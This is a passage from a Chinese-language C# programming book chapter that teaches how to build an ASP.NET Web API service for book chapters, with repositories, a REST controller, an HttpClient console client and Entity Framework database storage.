下载本章源代码。本章代码分为以下几个主要的示例文件: ● 图书服务示例 ● 图书服务分析示例 ● 图书服务客户应用程序 ● 元数据示例 42.1 概述 .NET 3.0发布WCF时,WCF是一种通信技术,替代了.NET栈中的其他几个技术(其 中的两个是.NET Remoting和ASP.NET Web服务)。其目标是只用一种非常灵活的通信技 术来满足所有需求。但是,WCF最初基于SOAP。现在有许多情形都不需要强大的SOAP 改进功能。对于返回JSON的HTTP请求这样的简单情形,WCF过于复杂。因此在2012年 引入了另一种技术:ASP.NET Web API。在Visual Studio 2015和ASP.NET MVC 6中,发 布了ASP.NET Web API的第三个重要版本3.0。ASP.NET MVC和ASP.NET Web API以前有 不同的类型和配置(以前的版本是ASP.NET MVC 5和ASP.NET Web API 2),但 ASP.NET Web API现在是ASP.NET MVC 6的一部分。 ASP.NET Web API提供了一种基于REST(Representational State Transfer)的简单通 信技术。REST是基于一些限制的体系结构样式。下面比较基于REST体系结构样式的服务 和使用SOAP的服务,以了解这些限制。 REST服务和使用SOAP协议的服务都利用了客户端-服务器技术。SOAP服务可以是有 状态的,也可以是无状态的;REST服务总是无状态的。SOAP定义了它自己的消息格式, 该格式有标题和正文,可以选择服务的方法。而在REST中,使用HTTP动词GET、 POST、PUT和DELETE。GET用于检索资源,POST用于添加新资源,PUT用于更新资 源,DELETE用于删除资源。 本章介绍ASP.NET Web API的各个重要方面——创建服务、使用不同的路由方法、 创建客户端、使用OData、保护服务和使用自定义的宿主。  注意: SOAP和WCF参见第44章。 42.2 创建服务 首先创建服务。使用新的.NET Core框架时,需要从ASP.NET Web应用程序开始,并 选择ASP.NET Core 1.0 Template Web API(参见图42-1)。这个模板添加了ASP.NET Web API需要的文件夹和引用。如果需要Web页面和服务,还可以使用模板Web Application。 图42-1  注意: ASP.NET MVC参见第41章。ASP.NET MVC的基础核心技术参见第40 章。 用这个模板创建的目录结构包含创建服务所需要的文件夹。Controllers目录包含Web API控制器。第41章介绍过这样的控制器,事实上ASP.NET Web API和ASP.NET MVC使 用相同的基础设施。以前的版本不是这样。 Models目录用于数据模型。在这个目录中可以添加实体类型,以及返回模型类型的存 储库。 所创建的服务返回图书的章列表,并允许动态增删章。提供该服务的示例项目的名称 是BookServiceSample。 42.2.1 定义模型 首先需要一个类型来表示要返回和修改的数据。在Models目录中定义的类的名称是 BookChapter,它包含表示一章的简单属性(代码文件 BookServiceSample/Models/BookChapter.cs): public class BookChapter { public Guid Id { get; set; } public int Number { get; set; } public string Title { get; set; } public int Pages { get; set; } } 42.2.2 创建存储库 接下来创建一个存储库。库中提供的方法用IBookChapterRepository接口定义——用 于检索、添加和更新书中章的方法(代码文件 BookServiceSample/Models/IBookChaptersRepository.cs): public interface IBookChaptersRepository { void Init(); void Add(BookChapter bookChapter); IEnumerable<BookChapter> GetAll(); BookChapter Find(Guid id); BookChapter Remove(Guid id); void Update(BookChapter bookChapter); } 存储库的实现由SampleBookChaptersRepository类定义。书中的章保存在一个集合类 中。因为来自不同客户端请求的多个任务可以同时访问集合,所以把ConcurrentList类型 用于书的章。这个类是线程安全的。Add、Remove和Update方法利用集合添加、删除和更 新书的章(代码文件BookServiceSample/Models/SampleBookChapterRepository.cs): public class SampleBookChaptersRepository: IBookChapterRepository { private readonly ConcurrentDictionary<Guid, BookChapter> _chapters = new ConcurrentDictionary<Guid, BookChapter>(); public void Init() { Add(new BookChapter { Number = 1, Title = "Application Architectures", Pages = 35 }); Add(new BookChapter { Number = 2, Title = "Core C#", Pages = 42 }); // more chapters } public void Add(BookChapter chapter) { chapter.Id = Guid.NewGuid(); _chapters[chapter.Id] = chapter; } public BookChapter Find(Guid id) { BookChapter chapter; _chapters.TryGetValue(id, out chapter); return chapter; } public IEnumerable<BookChapter> GetAll() => _chapters.Values; public BookChapter Remove(Guid id) { BookChapter removed; _chapters.TryRemove(id, out removed); return removed; } public void Update(BookChapter chapter) { _chapters[chapter.Id] = chapter; } }  注意: 在示例代码中,Remove方法确保用id参数传递的BookChapter不在字 典中。如果字典不包含书的章节,则没关系。如果传递的书中章节没有找到,则 Remove方法的另一种实现会抛出异常。  注意: 并发集合参见第12章。 启动时,用依赖注入容器的AddSingleton方法注册SampleBookChapterRepository,为 请求服务的所有客户端创建一个实例。在这个代码段中,使用AddSingleton的重载方法允 许传递以前创建的实例,这样就可以调用Init方法,初始化实例(代码文件 BookServiceSample/Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddMvc(); IBookChaptersRepository repos = new SampleBookChaptersRepository(); repos.Init(); services.AddSingleton<IBookChaptersRepository>(repos); // etc. } 42.2.3 创建控制器 ASP.NET Web API控制器使用存储库。控制器可以通过Solution Explorer上下文菜单 Add NewItem | Web API Controller Class创建。管理图书中章的控制器类被命名为 BookChaptersController。这个类派生自基类Controller。到控制器的路由使用Route特性定 义。该路由以api开头,其后是控制器的名称,这是没有Controller后缀的控制器类名。 BooksChapterController的构造函数需要一个实现IBookChapterRepository接口的对象。这个 对象是通过依赖注入功能注入的(代码文件 BookServiceSample/Controllers/BookChaptersController.cs): [Route("api/[controller]"] public class BookChaptersController: Controller { private readonly IBookChapterRepository _repository; public BookChaptersController(IBookChapterRepository bookChapterRepository) { _repository = bookChapterRepository; } 模板中创建的Get方法被重命名,并被修改为返回类型为IEnumerable<BookChapter> 的完整集合: // GET api/bookchapters [HttpGet] public IEnumerable<BookChapter> GetBookChapters () => _repository.GetAll(); 带一个参数的Get方法被重命名为GetBookChapterById,用Find方法过滤存储库的字 典。过滤器的参数id从URL中检索。如果没有找到章,存储库的Find方法就返回null。在 这种情况下,返回NotFound。NotFound返回一个404(未找到)响应。找到对象时,创建 一个新的ObjectResult并返回它:ObjectResult返回一个状态码200,其中包含书的章: // GET api/bookchapters/guid [HttpGet("{id}", Name=nameof(GetBookChapterById))] public IActionResult GetBookChapterById(Guid id) { BookChapter chapter = _repository.Find(id); if (chapter == null) { return NotFound(); } else { return new ObjectResult(chapter); } }  注意: 路由的定义参见第41章。 要添加图书的新章,应添加PostBookChapter。该方法接收一个BookChapter作为HTTP 体的一部分,反序列化后分配给方法的参数。如果参数chapter为null,就返回一个 BadRequest(HTTP 400错误)。如果添加BookChapter,这个方法就返回CreatedAtRoute。 CreatedAtRoute返回HTTP状态码201(已创建)及序列化的对象。返回的标题信息包含到 资源的链接,即到GetBookChapterById的链接,其id设置为新建对象的标识符: // POST api/bookchapters [HttpPost] public IActionResult PostBookChapter([FromBody]BookChapter chapter) { if (chapter == null) { return BadRequest(); } _repository.Add(chapter); return CreatedAtRoute(nameof(GetBookChapterById), new { id = chapter.Id }, chapter); } 更新条目需要基于HTTP PUT请求。PutBookChapter方法在集合中更新已有的条目。 如果对象还不在集合中,就返回NotFound。如果找到了对象,就更新它并返回一个成功 的结果状态码204,其中没有内容: // PUT api/bookchapters/guid [HttpPut("{id}")] public IActionResult PutBookChapter(Guid id, [FromBody]BookChapter chapter) { if (chapter == null || id ! = chapter.Id) { return BadRequest(); } if (_repository.Find(id) == null) { return NotFound(); } _repository.Update(chapter); return new NoContentResult(); } 对于HTTP DELETE请求,从字典中删除图书的章: // DELETE api/bookchapters/5 [HttpDelete("{id}")] public void Delete(Guid id) { _repository.Remove(id); } 有了这个控制器,就可以在浏览器上进行第一组测试了。打开链接 http://localhost:5000/api/BookChapters,返回JSON。 当使用Kestrel Web服务器时,端口5000是默认端口号。可以在项目属性的Debug部分 通过选择Web配置文件来选择这个服务器(参见图42-2)。 图42-2 用浏览器打开这个链接,会返回一个JSON数组: [{"Id":"2d0c7eac-cb37-409f-b8da-c8ca497423a2", "Number":6, "Title":"Generics", "Pages":22}, {"Id":"d62e1182-3254-4504-a56b-f0441ee1ce8e", "Number":1, "Title":"Application Architectures", "Pages":35}, {"Id":"cb624eed-7e6c-40c6-88f2-28cf03eb652e", "Number":4, "Title":"Inheritance", "Pages":18}, {"Id":"6e6d48b5-fa04-43b5-b5f5-acd11b72c821", "Number":3, "Title":"Objects and Types", "Pages":30}, {"Id":"55c1ea93-2c0d-4071-8cee-cc172b3746b5", "Number":2, "Title":"Core C#", "Pages":42}, {"Id":"5c391b33-76f3-4e12-8989-3a8fbc621e96", "Number":5, "Title":"Managed and Unmanaged Resources", "Pages":20}] 42.2.4 修改响应格式 ASP.NET Web API 2返回JSON或XML,这取决于由客户端请求的格式。在ASP.NET MVC 6中,当返回ObjectResult时,默认情况下返回JSON。如果也需要返回XML,可以添 加NuGet包Microsoft.AspNet.Mvc.Formatters.Xml,再添加一个对Startup类的 AddXmlSerializerFormatters的调用。AddXmlSerializerFormatters是IMvcBuilder接口的一个 扩展方法,可以使用流畅API(fluent API)添加到AddMvc方法中(代码文件 BooksServiceSample/Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddMvc().AddXmlSerializerFormatters(); IBookChaptersRepository repos = new SampleBookChaptersRepository(); repos.Init(); services.AddSingleton<IBookChaptersRepository>(repos); } 在控制器中,使用Produces特性可以指定允许的内容类型和可选的结果(代码文件 BooksService-Sample/Controllers/BookChaptersController.cs): [Produces("application/json", "application/xml")] [Route("api/[controller]")] public class BookChaptersController: Controller { // etc. }  注意: 本章后面的42.4.2节将介绍如何接收XML格式的响应。 42.2.5 REST结果和状态码 表42-1总结了服务基于HTTP方法返回的结果: 表42-1 HTTP方法 说明 请求体 响应体 GET 返回资源 空 资源 POST 添加资源 要添加的资源 资源 PUT 更新资源 要更新的资源 无 DELETE 删除资源 空 空 表42-2显示了重要的HTTP状态码、Controller方法和返回状态码的实例化对象。要返 回任何HTTP状态码,可以返回一个HttpStatusCodeResult对象,用所需的状态码初始化: 表42-2 HTTP状态码 Controller方法 类型 200 OK Ok OkResult 201已创建 CreatedAtRoute CreatedAtRouteResult 204无内容 NoContent NoContentResult 400错误请求 BadRequest BadRequestResult 401未授权 Unauthorized UnauthorizedResult 404未找到 NotFound NotFoundResult 任何HTTP状态码 StatusCodeResult 所有成功状态码都以2开头,错误状态码以4开头。状态码列表在RFC 2616中可以找 到:http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html。 42.3 创建异步服务 前面的示例代码使用了一个同步存储库。使用Entity Framework Core和存储库的话, 可以使用同步或异步的方法。Entity Framework支持两者。然而,许多技术(例如使用 HttpClient类调用其他服务)只提供了异步的方法。这可能会导致一个异步存储库,如项 目BooksServiceAsyncSample所示。 在异步项目中,IBookChaptersRepository已经改为异步的版本。这个接口定义为通过 存储库访问异步方法,如网络或数据库客户端。所有的方法都返回Task (代码文件 BooksServiceAsyncSample/Models/IBookChaptersRepository.cs): public interface IBookChaptersRepository { Task InitAsync(); Task AddAsync(BookChapter chapter); Task<BookChapter> RemoveAsync(Guid id); Task<IEnumerable<BookChapter>> GetAllAsync(); Task<BookChapter> FindAsync(Guid id); Task UpdateAsync(BookChapter chapter); } 类SampleBookChaptersRepository实现了异步方法。读写字典时,不需要异步功能, 所以返回的Task使用FromResult方法创建(代码文件 BooksServiceAsyncSample/Models/SampleBookChapters-Repository.cs): public class SampleBookChaptersRepository: IBookChaptersRepository { private readonly ConcurrentDictionary<string, BookChapter> _chapters = new ConcurrentDictionary<string, BookChapter>(); public async Task InitAsync() { await AddAsync(new BookChapter { Number = 1, Title = "Application Architectures", Pages = 35 }); //... more book chapters } public Task AddAsync(BookChapter chapter) { chapter.Id = Guid.NewGuid(); _chapters[chapter.Id] = chapter; return Task.FromResult<object>(null); } public Task<BookChapter> RemoveAsync(Guid id) { BookChapter removed; _chapters.TryRemove(id, out removed); return Task.FromResult(removed); } public Task<IEnumerable<BookChapter>> GetAllAsync() => Task.FromResult<IEnumerable<BookChapter>>(_chapters.Values); public Task<BookChapter> FindAsync(Guid id) { BookChapter chapter; _chapters.TryGetValue(id, out chapter); return Task.FromResult(chapter); } public Task UpdateAsync(BookChapter chapter) { _chapters[chapter.Id] = chapter; return Task.FromResult<object>(null); } } API控制器BookChaptersController只需要一些变化,以实现为异步版本。控制器方法 也返回一个Task。这样,就很容易调用存储库的异步方法(代码文件 BooksServiceAsyncSample/Controllers/BookChaptersController.cs): [Produces("application/json", "application/xml")] [Route("api/[controller]")] public class BookChaptersController: Controller { private readonly IBookChaptersRepository _repository; public BookChaptersController(IBookChaptersRepository repository) { _repository = repository; } // GET: api/bookchapters [HttpGet()] public Task<IEnumerable<BookChapter>> GetBookChaptersAsync() => _repository.GetAllAsync(); // GET api/bookchapters/guid [HttpGet("{id}", Name = nameof(GetBookChapterByIdAsync))] public async Task<IActionResult> GetBookChapterByIdAsync(Guid id) { BookChapter chapter = await _repository.FindAsync(id); if (chapter == null) { return NotFound(); } else { return new ObjectResult(chapter); } } // POST api/bookchapters [HttpPost] public async Task<IActionResult> PostBookChapterAsync( [FromBody]BookChapter chapter) { if (chapter == null) { return BadRequest(); } await _repository.AddAsync(chapter); return CreatedAtRoute(nameof(GetBookChapterByIdAsync), new { id = chapter.Id }, chapter); } // PUT api/bookchapters/guid [HttpPut("{id}")] public async Task<IActionResult> PutBookChapterAsync( string id, [FromBody]BookChapter chapter) { if (chapter == null || id ! = chapter.Id) { return BadRequest(); } if (await _repository.FindAsync(id) == null) { return NotFound(); } await _repository.UpdateAsync(chapter); return new NoContentResult(); } // DELETE api/bookchapters/guid [HttpDelete("{id}")] public async Task DeleteAsync(Guid id) { await _repository.RemoveAsync(id); } } 对于客户端来说,控制器实现为同步还是异步并不重要。客户端会为这两种情形创建 相同的HTTP请求。 42.4 创建.NET客户端 使用浏览器调用服务是处理测试的一种简单方法。客户端常常使用JavaScript(这是 JSON的优点)和.NET客户端。本书创建一个控制台应用程序(包)项目来调用服务。 BookServiceClientApp的示例代码使用了以下依赖项和名称空间: 依赖项 NETStandard.Library Newtonsoft.Json System.Net.Http System.Xml.XDocument 名称空间 Newtonsoft.Json System System.Collections.Generic System.Linq System.Linq.Xml System.Net.Http System.Net.Http.Headers System.Text System.Threading.Tasks static System.Console 42.4.1 发送GET请求 要发送GET请求,应使用HttpClient类。这个类在第25章有介绍。在本章中,这个类 用来发送不同的HTTP请求。要使用HttpClient类,需要添加NuGet包System.Net.Http,打 开名称空间System. Net.Http。要将JSON数据转换为.NET类型,应添加NuGet包 Newtonsoft.Json。  注意: JSON序列化和使用JSON.NET的内容参见第27章。 在示例项目中,泛型类HttpClientHelper创建为对于不同的数据类型只有一种实现方 式。构造函数需要服务的基地址(代码文件BookServiceClientApp/HttpClientHelper.cs): public abstract class HttpClientHelper<T> where T: class { private Uri _baseAddress; public HttpClientHelper(string baseAddress) { if (baseAddress == null) throw new ArgumentNullException(nameof(baseAddress)); _baseAddress = new Uri(baseAddress); } // etc. } 方法GetInternalAsync发出一个GET请求来接收一组项。该方法调用HttpClient的 GetAsync方法来发送GET请求。HttpResponseMessage包含收到的信息。响应的状态码写 入控制台来显示结果。如果服务器返回一个错误,则GetAsync方法不抛出异常。异常在方 法EnsureSuccessStatusCode中抛出,该方法在返回的HttpResponseMessage实例上调用。如 果HTTP状态码是错误类型,该方法就抛出一个异常。响应体包含返回的JSON数据。这个 JSON信息读取为字符串并返回(代码文件BookServiceClientApp/HttpClientHelper.cs): private async Task<string> GetInternalAsync(string requestUri) { using (var client = new HttpClient()) { client.BaseAddress = _baseAddress; HttpResponseMessage resp = await client.GetAsync(requestUri); WriteLine($"status from GET {resp.StatusCode}"); resp.EnsureSuccessStatusCode(); return await resp.Content.ReadAsStringAsync(); } } 服务器控制器用GET请求定义了两个方法:一个方法返回所有章,另一个方法只返回 一个章,但是需要章的标识符与URI。方法GetAllAsync调用GetInternalAsync方法,把返 回的JSON信息转换为一个集合,而方法GetAsync将结果转换成单个项。这些方法声明为 虚拟的,允许在派生类中重写它们(代码文件 BookServiceClientApp/HttpClientHelper.cs): public async virtual Task<T> GetAllAsync(string requestUri) { string json = await GetInternalAsync(requestUri); return JsonConvert.DeserializeObject<IEnumerable<T>>(json); } public async virtual Task<T> GetAsync(string requestUri) { string json = await GetInternalAsync(requestUri); return JsonConvert.DeserializeObject<T>(json); } 在客户端代码中不使用泛型类HttpClientHelper,而用BookChapterClient类进行专门的 处理。这个类派生于HttpClientHelper,为泛型参数传递BookChapter。这个类还重写了基 类中的GetAllAsync方法,按章号给返回的章排序(代码文件 BookServiceClientApp/BookChapterClient.cs): public class BookChapterClient: HttpClientHelper<BookChapter> { public BookChapterClient(string baseAddress) : base(baseAddress) { } public override async Task<IEnumerable<BookChapter>> GetAllAsync( string requestUri) { IEnumerable<BookChapter> chapters = await base.GetAllAsync(requestUri); return chapters.OrderBy(c => c.Number); } } BookChapter类包含的属性是用JSON内容得到的(代码文件 BookServiceClientApp/BookChapter.cs): public class BookChapter { public Guid Id { get; set; } public int Number { get; set; } public string Title { get; set; } public int Pages { get; set; } } 客户端应用程序的Main方法调用不同的方法来显示GET、POST、PUT和DELETE请 求(代码文件BookServiceClientApp/Program.cs): static void Main() { WriteLine("Client app, wait for service"); ReadLine(); ReadChaptersAsync().Wait(); ReadChapterAsync().Wait(); ReadNotExistingChapterAsync().Wait(); ReadXmlAsync().Wait(); AddChapterAsync().Wait(); UpdateChapterAsync().Wait(); RemoveChapterAsync().Wait(); ReadLine(); } ReadChaptersAsync方法从BookChapterClient中调用GetAllAsync方法来检索所有章, 并在控制台显示章的标题(代码文件BookServiceClientApp/Program.cs): private static async Task ReadChaptersAsync() { WriteLine(nameof(ReadChaptersAsync)); var client = new BookChapterClient(Addresses.BaseAddress); IEnumerable<BookChapter> chapters = await client.GetAllAsync(Addresses.BooksApi); foreach (BookChapter chapter in chapters) { WriteLine(chapter.Title); } WriteLine(); } 运行应用程序(启动服务和客户端应用程序), ReadChaptersAsync方法显示了OK状 态码和章的标题: ReadChaptersAsync status from GET OK Application Architectures Core C# Objects and Types Inheritance Managed and Unmanaged Resources Generics ReadChapterAsync方法显示了GET请求来检索单章。这样,这一章的标识符就被添加 到URI字符串中(代码文件BookServiceClientApp/Program.cs): private static async Task ReadChapterAsync() { WriteLine(nameof(ReadChapterAsync)); var client = new BookChapterClient(Addresses.BaseAddress); var chapters = await client.GetAllAsync(Addresses.BooksApi); Guid id = chapters.First().Id; BookChapter chapter = await client.GetAsync(Addresses.BooksApi + id); WriteLine($"{chapter.Number} {chapter.Title}"); WriteLine(); } ReadChapterAsync方法的结果如下所示。它显示了两次OK状态,因为第一次是这个 方法检索所有的章,之后发送对一章的请求: ReadChapterAsync status from GET OK status from GET OK 1 Application Architectures 如果用不存在的章标识符发送GET请求,该怎么办?具体的处理如 ReadNotExistingChapterAsync方法所示。调用GetAsync方法类似于前面的代码段,但会把 不存在的标识符添加到URI。在HttpClientHelper类的实现中,HttpClient类的GetAsync方法 不会抛出异常。然而,EnsureSuccessStatusCode会抛出异常。这个异常用 HttpRequestException类型的catch块捕获。在这里,使用了一个只处理异常码404(未找 到)的异常过滤器(代码文件BookServiceClientApp/Program.cs): private static async Task ReadNotExistingChapterAsync() { WriteLine(nameof(ReadNotExistingChapterAsync)); string requestedIdentifier = Guid.NewGuid().ToString(); try { var client = new BookChapterClient(Addresses.BaseAddress); BookChapter chapter = await client.GetAsync( Addresses.BooksApi + requestedIdentifier.ToString()); WriteLine($"{chapter.Number} {chapter.Title}"); } catch (HttpRequestException ex) when (ex.Message.Contains("404")) { WriteLine($"book chapter with the identifier {requestedIdentifier} " + "not found"); } WriteLine(); }  注意: 处理异常和使用异常过滤器的内容参见第14章。 方法的结果显示了从服务返回的NotFound结果: ReadNotExistingChapterAsync status from GET NotFound book chapter with the identifier d38ea0c5-64c9-4251-90f1-e21c07d6937a not fou nd 42.4.2 从服务中接收XML 在42.2.4节中,XML格式被添加到服务中。服务设置为返回XML和JSON,添加 Accept标题值来接受application/xml内容,就可以显式地请求XML内容。 具体操作如下面的代码段所示。其中,指定application/xml的 MediaTypeWithQualityHeaderValue被添加到Accept标题集合中。然后,结果使用XElement 类解析为XML(代码文件BookService-ClientApp/BookChapterClient.cs): public async Task<XElement> GetAllXmlAsync(string requestUri) { using (var client = new HttpClient()) { client.BaseAddress = _baseAddress; client.DefaultRequestHeaders.Accept.Add( new MediaTypeWithQualityHeaderValue("application/xml")); HttpResponseMessage resp = await client.GetAsync(requestUri); WriteLine($"status from GET {resp.StatusCode}"); resp.EnsureSuccessStatusCode(); string xml = await resp.Content.ReadAsStringAsync(); XElement chapters = XElement.Parse(xml); return chapters; } }  注意: XElement类和XML序列化参见第27章。 在Program类中,调用GetAllXmlAsync方法直接把XML结果写到控制台(代码文件 BookService-ClientApp/Program.cs): private static async Task ReadXmlAsync() { WriteLine(nameof(ReadXmlAsync)); var client = new BookChapterClient(Addresses.BaseAddress); XElement chapters = await client.GetAllXmlAsync(Addresses.BooksApi); WriteLine(chapters); WriteLine(); } 运行这个方法,可以看到现在服务返回了XML: ReadXmlAsync status from GET OK <ArrayOfBookChapter xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <BookChapter> <Id>1439c261-2722-4e73-a328-010e82866511</Id> <Number>4</Number> <Title>Inheritance</Title> <Pages>18</Pages> </BookChapter> <BookChapter> <Id>d1a53440-94f2-404c-b2e5-7ce29ad91ef6</Id> <Number>3</Number> <Title>Objects and Types</Title> <Pages>30</Pages> </BookChapter> <BookChapter> <Id>ce1a5203-5b77-43e9-b6a2-62b6a18fac44</Id> <Number>38</Number> <Title>Windows Store Apps</Title> <Pages>45</Pages> </BookChapter> <! -... more chapters ...-> 42.4.3 发送POST请求 下面使用HTTP POST请求向服务发送新对象。HTTP POST请求的工作方式与GET请 求类似。这个请求会创建一个新的服务器端对象。HttpClient类的PostAsync方法需要用第 二个参数添加的对象。使用Json.NET的JsonConvert类把对象序列化为JSON。成功返回 后,Headers.Location属性包含一个链接,其中,对象可以再次从服务中检索。响应还包 含一个带有返回对象的响应体。在服务中修改对象时,Id属性在创建对象时在服务代码中 填充。反序列化JSON代码后,这个新信息由PostAsync方法返回(代码文件 BookServiceClientApp/HttpClientHelper.cs): public async Task<T> PostAsync(string uri, T item) { using (var client = new HttpClient()) { client.BaseAddress = _baseAddress; string json = JsonConvert.SerializeObject(item); HttpContent content = new StringContent(json, Encoding.UTF8, "application/json"); HttpResponseMessage resp = await client.PostAsync(uri, content); WriteLine($"status from POST {resp.StatusCode}"); resp.EnsureSuccessStatusCode(); WriteLine($"added resource at {resp.Headers.Location}"); json = await resp.Content.ReadAsStringAsync(); return JsonConvert.DeserializeObject<T>(json); } } 在Program类中,可以看到添加到服务的章。调用BookChapterClient的PostAsync方法 后,返回的Chapter包含新的标识符(代码文件BookServiceClientApp/Program.cs): private static async Task AddChapterAsync() { WriteLine(nameof(AddChapterAsync)); var client = new BookChapterClient(Addresses.BaseAddress); BookChapter chapter = new BookChapter { Number = 42, Title = "ASP.NET Web API", Pages = 35 }; chapter = await client.PostAsync(Addresses.BooksApi, chapter); WriteLine($"added chapter {chapter.Title} with id {chapter.Id}"); WriteLine(); } AddChapterAsync方法的结果显示了创建对象的一次成功运行: AddChapterAsync status from POST Created added resource at http://localhost:5000/api/BookChapters/0e99217d-8769-46cd-9 3a4- 2cf615cda5ae added chapter ASP.NET Web API with id 0e99217d-8769-46cd-93a4-2cf615cda5ae 42.4.4 发送PUT请求 HTTP PUT请求用于更新记录,使用HttpClient方法PutAsync来发送。PutAsync需要第 二个参数中的更新内容和第一个参数中服务的URL,其中包括标识符(代码文件 BookServiceClientApp/HttpClientHelper.cs): public async Task PutAsync(string uri, T item) { using (var client = new HttpClient()) { client.BaseAddress = _baseAddress; string json = JsonConvert.SerializeObject(item); HttpContent content = new StringContent(json, Encoding.UTF8, "application/json"); HttpResponseMessage resp = await client.PutAsync(uri, content); WriteLine($"status from PUT {resp.StatusCode}"); resp.EnsureSuccessStatusCode(); } } 在Program类中,章Windows Store Apps更新为另一个章编号,标题更新为Windows Apps (代码文件BookServiceClientApp/Program.cs): private static async Task UpdateChapterAsync() { WriteLine(nameof(UpdateChapterAsync)); var client = new BookChapterClient(Addresses.BaseAddress); var chapters = await client.GetAllAsync(Addresses.BooksApi); var chapter = chapters.SingleOrDefault(c => c.Title == "Windows Store Apps" ); if (chapter ! = null) { chapter.Number = 32; chapter.Title = "Windows Apps"; await client.PutAsync(Addresses.BooksApi + chapter.Id, chapter); WriteLine($"updated chapter {chapter.Title}"); } WriteLine(); } UpdateChapterAsync方法的控制台输出显示了HTTP NoContent结果和更新的章标题: UpdateChapterAsync status from GET OK status from PUT NoContent updated chapter Windows Apps 42.4.5 发送DELETE请求 示例客户端的最后一个请求是HTTP DELETE请求。调用HttpClient类的GetAsync、 PostAsync和PutAsync后,显然发送DELETE请求的方法是DeleteAsync。在下面的代码段 中,DeleteAsync方法只需要一个URI参数来识别要删除的对象(代码文件 BookServiceClientApp/HttpClientHelper.cs): public async Task DeleteAsync(string uri) { using (var client = new HttpClient()) { client.BaseAddress = _baseAddress; HttpResponseMessage resp = await client.DeleteAsync(uri); WriteLine($"status from DELETE {resp.StatusCode}"); resp.EnsureSuccessStatusCode(); } } Program类定义了RemoveChapterAsync方法(代码文件 BookServiceClientApp/Program.cs): private static async Task RemoveChapterAsync() { WriteLine(nameof(RemoveChapterAsync)); var client = new BookChapterClient(Addresses.BaseAddress); var chapters = await client.GetAllAsync(Addresses.BooksApi); var chapter = chapters.SingleOrDefault(c => c.Title == "ASP.NET Web Forms") ; if (chapter ! = null) { await client.DeleteAsync(Addresses.BooksApi + chapter.Id); WriteLine($"removed chapter {chapter.Title}"); } WriteLine(); } 运行应用程序时,RemoveChapterAsync方法首先显示了HTTP GET方法的状态,因为 是先发出GET请求来检索所有的章,然后发出成功的DELETE请求来删除ASP.NET Web Forms这一章: RemoveChapterAsync status from GET OK status from DELETE OK removed chapter ASP.NET Web Forms 42.5 写入数据库 第38章介绍了如何使用Entity Framework将对象映射到关系上。ASP.NET Web API控 制器可以很容易地使用DbContext。在示例应用程序中,不需要改变控制器;只需要创建 并注册另一个存储库,以使用Entity Framework。本节描述所需的所有步骤。 42.5.1 定义数据库 下面开始定义数据库。为了使用Entity Framework与SQL Server,需要把NuGet包 EntityFramework.Core和EntityFramework.MicrosoftSqlServer添加到服务项目中。为了在代 码中创建数据库,也要添加NuGet包EntityFramework.Commands。 前面已经定义了BookChapter类。这个类保持不变,用于填充数据库中的实例。映射 属性在BooksContext类中定义。在这个类中,重写OnModelCreating方法,把BookChapter 类型映射到Chapters表,使用数据库中创建的默认唯一标识符定义Id列的唯一标识符。 Title列限制为最多120个字符(代码文件 BookServiceAsyncSample/Models/BooksContext.cs): public class BooksContext: DbContext { public DbSet<BookChapter> Chapters { get; set; } protected override void OnModelCreating(ModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); EntityTypeBuilder<BookChapter> chapter = modelBuilder .Entity<BookChapter>(); chapter.ToTable("Chapters").HasKey(p => p.Id); chapter.Property<Guid>(p => p.Id) .HasColumnType("UniqueIdentifier") .HasDefaultValueSql("newid()"); chapter.Property<string>(p => p.Title) .HasMaxLength(120); } } 为了允许使用.NET CLI工具创建数据库,在project.json配置文件中定义了ef命令,把 它映射到EntityFrameworkCore.Commands(代码文件 BookServiceAsyncSample/project.json): "tools": { "dotnet-ef": "1.0.*" }, 对于依赖注入容器,需要添加Entity Framework和SQL Server来调用扩展方法 AddEntity-Framework和AddSqlServer。刚才创建的BooksContext也需要注册。使用方法 AddDbContext添加BooksContext。在该方法的选项中,传递连接字符串(代码文件 BookServiceAsyncSample/ Startup.cs): public async void ConfigureServices(IServiceCollection services) { services.AddMvc().AddXmlSerializerFormatters(); // etc. services.AddEntityFramework() .AddSqlServer() .AddDbContext<BooksContext>(options => options.UseSqlServer( Configuration["Data:BookConnection:ConnectionString"])); // etc. } 连接字符串本身用应用程序设置定义(代码文件 BookServiceAsyncSample/appsettings.json): "Data": { "BookConnection": { "ConnectionString": "Server=(localdb)\\mssqllocaldb; Database=BooksSampleDB; Trusted_Connection=True; MultipleActiveResultSets=true" } }, 有了这些代码,现在可以创建迁移和数据库了。为了在项目中添加基于代码的迁移, 可以在Developer Command Prompt中启动这个dnx命令,在其中把当前目录改为项目的目 录——放置project.json文件的目录。这条语句使用project.json文件中定义的ef命令调用迁 移,在该项目中添加InitBooks迁移。成功运行这条命令后,可以看到项目中的Migrations 文件夹包含创建数据库的类: >dotnet ef migrations add InitBooks 下面的命令基于启动代码定义的连接字符串创建数据库: >dotnet ef database update 42.5.2 创建存储库 为了使用BooksContext,需要创建一个实现接口IBookChaptersRepository的存储库。 类BookChaptersRepository利用BooksContext,而不是像SampleBookChaptersRepository那样 使用内存中的字典(代码文件 BookServiceAsyncSample/Models/BookChaptersRepository.cs): public class BookChaptersRepository: IBookChaptersRepository, IDisposable { private BooksContext _booksContext; public BookChaptersRepository(BooksContext booksContext) { _booksContext = booksContext; } public void Dispose() { _booksContext? .Dispose(); } public async Task AddAsync(BookChapter chapter) { _booksContext.Chapters.Add(chapter); await _booksContext.SaveChangesAsync(); } public Task<BookChapter> FindAsync(Guid id) => _booksContext.Chapters.SingleOrDefaultAsync(c => c.Id == id); public async Task<IEnumerable<BookChapter>> GetAllAsync() => await _booksContext.Chapters.ToListAsync(); public Task InitAsync() => Task.FromResult<object>(null); public async Task<BookChapter> RemoveAsync(Guid id) { BookChapter chapter = await _booksContext.Chapters .SingleOrDefaultAsync(c => c.Id == id); if (chapter == null) return null; _booksContext.Chapters.Remove(chapter); await _booksContext.SaveChangesAsync(); return chapter; } public async Task UpdateAsync(BookChapter chapter) { _booksContext.Chapters.Update(chapter); await _booksContext.SaveChangesAsync(); } } 如果考虑是否要使用上下文,可以阅读第38章,它涵盖了Entity Framework Core的更 多信息。 要使用这个存储库,必须在容器的注册表中删除SampleBookChaptersRepository(或 将其注释掉),并添加BookChaptersRepository,让依赖注入容器在要求提供接口 